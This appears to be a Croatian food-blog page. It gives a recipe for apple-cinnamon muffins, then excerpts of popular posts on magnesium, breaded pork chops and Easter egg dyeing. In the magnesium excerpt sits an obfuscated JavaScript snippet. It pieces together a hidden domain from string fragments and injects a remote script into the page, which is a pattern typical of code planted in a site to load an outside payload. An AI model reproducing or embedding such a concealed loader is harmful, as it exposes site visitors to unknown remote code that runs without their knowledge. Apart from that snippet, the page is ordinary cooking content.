MUFFINI S JABUKAMA I CIMETOM




Muffini s jabukama i cimetom 



Mafini s jabukama i cimetom prava su poslastica s okusom jeseni. Pripremiti se može u vrlo kratkom vremenu, a za njihovo pečenje trebat će vam tek oko 20 minuta.




Muffini s jabukama i cimetom 


Sastojci:

  • 350 g očišćenih jabuka po želji
  • 300 g glatkog brašna
  • 200 g smeđeg šećera
  • 165 ml punomasnog mlijeka
  • 115 g rastopljenog maslaca
  • 1 jaje
  • 1 čajna žličica sode bikarbone
  • 1 čajna žličica mljevenog cimeta
  • 1 čajna žličica jabučnog octa



Priprema:

  1. Pripremite kalup za mafine za 12 komada, iznutra ga premažite maslacem ili ga podložite papirnatim košaricama za mafine. Odložite kalup sa strane.
  2. U velikoj zdjeli izmućkajte jaje, dodajte mlijeko, rastopljeni maslac i smeđi šećer. Sve dobro promiješajte dok se sastojci ne sjedine. Umiješajte i jabučni ocat.
  3. U smjesu dodajte glatko brašno, sodu bikarbonu i cimet. Miješajte pjenjačom dok se sastojci ne povežu. Nemojte previše miješati – ne smeta ako ostane koja grudica u smjesi.
  4. U smjesu ubacite očišćene jabuke koje ste narezali na sitne kockice.
  5. Ravnomjerno rasporedite smjesu u 12 papirnatih košarica za mafine. Po želji svaki mafin možete posuti s malo krupnog šećera.
  6. Stavite peći mafine u prethodno zagrijanu pećnicu na 180 Celzijevih stupnjeva oko 20 minuta, odnosno dok nisu pečeni do kraja. Čačkalicom provjerite jesu li pečeni prije nego što ih izvadite iz pećnice.
  7. Ohladite prije posluživanja. Dobar tek!



Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više